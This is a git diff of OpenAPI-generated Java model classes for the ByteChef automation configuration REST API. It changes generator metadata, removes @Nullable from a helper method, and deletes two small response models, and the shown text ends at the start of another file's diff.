diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentConnectionModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentConnectionModel.java
index c97c0f095de..ab6703e86ec 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentConnectionModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentConnectionModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("ComponentConnection")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ComponentConnectionModel {
 
   private String componentName;
@@ -187,7 +187,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentDefinitionBasicModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentDefinitionBasicModel.java
index 1e41eccc963..8f097da6ff8 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentDefinitionBasicModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ComponentDefinitionBasicModel.java
@@ -28,7 +28,7 @@
 
 @Schema(name = "ComponentDefinitionBasic", description = "A component contains a set of reusable code(actions) that accomplish specific tasks, triggers and connections if there is a need for a connection to an outside service.")
 @JsonTypeName("ComponentDefinitionBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ComponentDefinitionBasicModel {
 
   private @Nullable Integer actionsCount;
@@ -305,7 +305,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionBaseModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionBaseModel.java
index 350ffb5c6a9..f172ba9f0f3 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionBaseModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionBaseModel.java
@@ -33,7 +33,7 @@
 
 @Schema(name = "connection_base", description = "Contains all required information to open a connection to a service defined by componentName parameter.")
 @JsonTypeName("connection_base")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ConnectionBaseModel {
 
   private @Nullable Boolean active;
@@ -548,7 +548,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionModel.java
index bc8b3f5515b..094106b63a2 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ConnectionModel.java
@@ -33,7 +33,7 @@
 
 @Schema(name = "Connection", description = "Contains all required information to open a connection to a service defined by componentName parameter.")
 @JsonTypeName("Connection")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ConnectionModel {
 
   private @Nullable Boolean active;
@@ -572,7 +572,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CreateProjectDeploymentWorkflowJob200ResponseModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CreateProjectDeploymentWorkflowJob200ResponseModel.java
index ec24ceb4c09..76cd4596c65 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CreateProjectDeploymentWorkflowJob200ResponseModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CreateProjectDeploymentWorkflowJob200ResponseModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("createProjectDeploymentWorkflowJob_200_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class CreateProjectDeploymentWorkflowJob200ResponseModel {
 
   private @Nullable Long jobId;
@@ -76,7 +76,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CreateProjectWorkflow200ResponseModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CreateProjectWorkflow200ResponseModel.java
deleted file mode 100644
index fd4a8b7a8f4..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CreateProjectWorkflow200ResponseModel.java
+++ /dev/null
@@ -1,86 +0,0 @@
-package com.bytechef.automation.configuration.web.rest.model;
-
-import java.net.URI;
-import java.util.Objects;
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonCreator;
-import com.fasterxml.jackson.annotation.JsonTypeName;
-import org.springframework.lang.Nullable;
-import org.openapitools.jackson.nullable.JsonNullable;
-import java.time.OffsetDateTime;
-import jakarta.validation.Valid;
-import jakarta.validation.constraints.*;
-import io.swagger.v3.oas.annotations.media.Schema;
-
-
-import java.util.*;
-import jakarta.annotation.Generated;
-
-/**
- * CreateProjectWorkflow200ResponseModel
- */
-
-@JsonTypeName("createProjectWorkflow_200_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
-public class CreateProjectWorkflow200ResponseModel {
-
-  private @Nullable Long projectWorkflowId;
-
-  public CreateProjectWorkflow200ResponseModel projectWorkflowId(@Nullable Long projectWorkflowId) {
-    this.projectWorkflowId = projectWorkflowId;
-    return this;
-  }
-
-  /**
-   * The id of a created project workflow.
-   * @return projectWorkflowId
-   */
-  
-  @Schema(name = "projectWorkflowId", description = "The id of a created project workflow.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
-  @JsonProperty("projectWorkflowId")
-  public @Nullable Long getProjectWorkflowId() {
-    return projectWorkflowId;
-  }
-
-  public void setProjectWorkflowId(@Nullable Long projectWorkflowId) {
-    this.projectWorkflowId = projectWorkflowId;
-  }
-
-  @Override
-  public boolean equals(Object o) {
-    if (this == o) {
-      return true;
-    }
-    if (o == null || getClass() != o.getClass()) {
-      return false;
-    }
-    CreateProjectWorkflow200ResponseModel createProjectWorkflow200Response = (CreateProjectWorkflow200ResponseModel) o;
-    return Objects.equals(this.projectWorkflowId, createProjectWorkflow200Response.projectWorkflowId);
-  }
-
-  @Override
-  public int hashCode() {
-    return Objects.hash(projectWorkflowId);
-  }
-
-  @Override
-  public String toString() {
-    StringBuilder sb = new StringBuilder();
-    sb.append("class CreateProjectWorkflow200ResponseModel {\n");
-    sb.append("    projectWorkflowId: ").append(toIndentedString(projectWorkflowId)).append("\n");
-    sb.append("}");
-    return sb.toString();
-  }
-
-  /**
-   * Convert the given object to string with each line indented by 4 spaces
-   * (except the first line).
-   */
-  private String toIndentedString(@Nullable Object o) {
-    if (o == null) {
-      return "null";
-    }
-    return o.toString().replace("\n", "\n    ");
-  }
-}
-
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CredentialStatusModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CredentialStatusModel.java
index 9c1752e4a07..758e9470500 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CredentialStatusModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/CredentialStatusModel.java
@@ -20,7 +20,7 @@
  * Gets or Sets credential_status
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public enum CredentialStatusModel {
   
   VALID("VALID"),
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/DuplicateWorkflow200ResponseModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/DuplicateWorkflow200ResponseModel.java
deleted file mode 100644
index 8eed0eea246..00000000000
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/DuplicateWorkflow200ResponseModel.java
+++ /dev/null
@@ -1,86 +0,0 @@
-package com.bytechef.automation.configuration.web.rest.model;
-
-import java.net.URI;
-import java.util.Objects;
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonCreator;
-import com.fasterxml.jackson.annotation.JsonTypeName;
-import org.springframework.lang.Nullable;
-import org.openapitools.jackson.nullable.JsonNullable;
-import java.time.OffsetDateTime;
-import jakarta.validation.Valid;
-import jakarta.validation.constraints.*;
-import io.swagger.v3.oas.annotations.media.Schema;
-
-
-import java.util.*;
-import jakarta.annotation.Generated;
-
-/**
- * DuplicateWorkflow200ResponseModel
- */
-
-@JsonTypeName("duplicateWorkflow_200_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
-public class DuplicateWorkflow200ResponseModel {
-
-  private @Nullable String workflowId;
-
-  public DuplicateWorkflow200ResponseModel workflowId(@Nullable String workflowId) {
-    this.workflowId = workflowId;
-    return this;
-  }
-
-  /**
-   * The id of a new duplicated workflow.
-   * @return workflowId
-   */
-  
-  @Schema(name = "workflowId", description = "The id of a new duplicated workflow.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
-  @JsonProperty("workflowId")
-  public @Nullable String getWorkflowId() {
-    return workflowId;
-  }
-
-  public void setWorkflowId(@Nullable String workflowId) {
-    this.workflowId = workflowId;
-  }
-
-  @Override
-  public boolean equals(Object o) {
-    if (this == o) {
-      return true;
-    }
-    if (o == null || getClass() != o.getClass()) {
-      return false;
-    }
-    DuplicateWorkflow200ResponseModel duplicateWorkflow200Response = (DuplicateWorkflow200ResponseModel) o;
-    return Objects.equals(this.workflowId, duplicateWorkflow200Response.workflowId);
-  }
-
-  @Override
-  public int hashCode() {
-    return Objects.hash(workflowId);
-  }
-
-  @Override
-  public String toString() {
-    StringBuilder sb = new StringBuilder();
-    sb.append("class DuplicateWorkflow200ResponseModel {\n");
-    sb.append("    workflowId: ").append(toIndentedString(workflowId)).append("\n");
-    sb.append("}");
-    return sb.toString();
-  }
-
-  /**
-   * Convert the given object to string with each line indented by 4 spaces
-   * (except the first line).
-   */
-  private String toIndentedString(@Nullable Object o) {
-    if (o == null) {
-      return "null";
-    }
-    return o.toString().replace("\n", "\n    ");
-  }
-}
-
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectBasicModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectBasicModel.java
index e8a2c8e4b7b..fa485bb03ef 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectBasicModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectBasicModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "ProjectBasic", description = "A group of workflows that make one logical project.")
 @JsonTypeName("ProjectBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ProjectBasicModel {
 
   private @Nullable String createdBy;
@@ -335,7 +335,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentBasicModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentBasicModel.java
index 1b74aad02e4..bc366351459 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentBasicModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentBasicModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "ProjectDeploymentBasic", description = "Contains configurations and connections required for the execution of project workflows.")
 @JsonTypeName("ProjectDeploymentBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ProjectDeploymentBasicModel {
 
   private @Nullable String createdBy;
@@ -357,7 +357,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentModel.java
index 1e14d63b579..ba4188dae31 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentModel.java
@@ -29,7 +29,7 @@
 
 @Schema(name = "ProjectDeployment", description = "Contains configurations and connections required for the execution of project workflows.")
 @JsonTypeName("ProjectDeployment")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ProjectDeploymentModel {
 
   private @Nullable String createdBy;
@@ -476,7 +476,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentWorkflowConnectionModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentWorkflowConnectionModel.java
index 3187d569e11..f7b00694d08 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentWorkflowConnectionModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentWorkflowConnectionModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "ProjectDeploymentWorkflowConnection", description = "The connection used in a particular action task or trigger.")
 @JsonTypeName("ProjectDeploymentWorkflowConnection")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ProjectDeploymentWorkflowConnectionModel {
 
   private Long connectionId;
@@ -138,7 +138,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentWorkflowModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentWorkflowModel.java
index 1e5a949e8ad..22a1a69759a 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentWorkflowModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectDeploymentWorkflowModel.java
@@ -30,7 +30,7 @@
 
 @Schema(name = "ProjectDeploymentWorkflow", description = "Contains configuration and connections required for the execution of a particular project workflow.")
 @JsonTypeName("ProjectDeploymentWorkflow")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ProjectDeploymentWorkflowModel {
 
   private @Nullable String createdBy;
@@ -418,7 +418,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectModel.java
index b9ef86f69dc..4b82020d303 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectModel.java
@@ -31,7 +31,7 @@
 
 @Schema(name = "Project", description = "A group of workflows that make one logical project.")
 @JsonTypeName("Project")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ProjectModel {
 
   private @Nullable String createdBy;
@@ -479,7 +479,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectStatusModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectStatusModel.java
index c5da67a0241..b3c31d72641 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectStatusModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectStatusModel.java
@@ -20,7 +20,7 @@
  * The status of a project.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public enum ProjectStatusModel {
   
   DRAFT("DRAFT"),
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectVersionModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectVersionModel.java
index 1f250eade6c..4a4f2b1256b 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectVersionModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/ProjectVersionModel.java
@@ -26,7 +26,7 @@
 
 @Schema(name = "ProjectVersion", description = "The project version.")
 @JsonTypeName("ProjectVersion")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class ProjectVersionModel {
 
   private @Nullable String description;
@@ -154,7 +154,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/PublishProjectRequestModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/PublishProjectRequestModel.java
index 9c2bb1175d6..634e86ba78f 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/PublishProjectRequestModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/PublishProjectRequestModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("publishProject_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class PublishProjectRequestModel {
 
   private @Nullable String description;
@@ -76,7 +76,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/StartWebhookTriggerTest200ResponseModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/StartWebhookTriggerTest200ResponseModel.java
index 4eec999cf54..bf32c3cfced 100644
--- a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/StartWebhookTriggerTest200ResponseModel.java
+++ b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/StartWebhookTriggerTest200ResponseModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("startWebhookTriggerTest_200_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-03T18:13:00.110740+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-05T14:11:26.033736+01:00[Europe/Ljubljana]", comments = "Generator version: 7.18.0")
 public class StartWebhookTriggerTest200ResponseModel {
 
   private @Nullable String webhookUrl;
@@ -76,7 +76,7 @@ public String toString() {
    * Convert the given object to string with each line indented by 4 spaces
    * (except the first line).
    */
-  private String toIndentedString(@Nullable Object o) {
+  private String toIndentedString(Object o) {
     if (o == null) {
       return "null";
     }
diff --git a/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/TagModel.java b/server/libs/automation/automation-configuration/automation-configuration-rest/automation-configuration-rest-api/generated/src/main/java/com/bytechef/automation/configuration/web/rest/model/TagModel.java
index 84c77609266..0e8afd83b87 100644
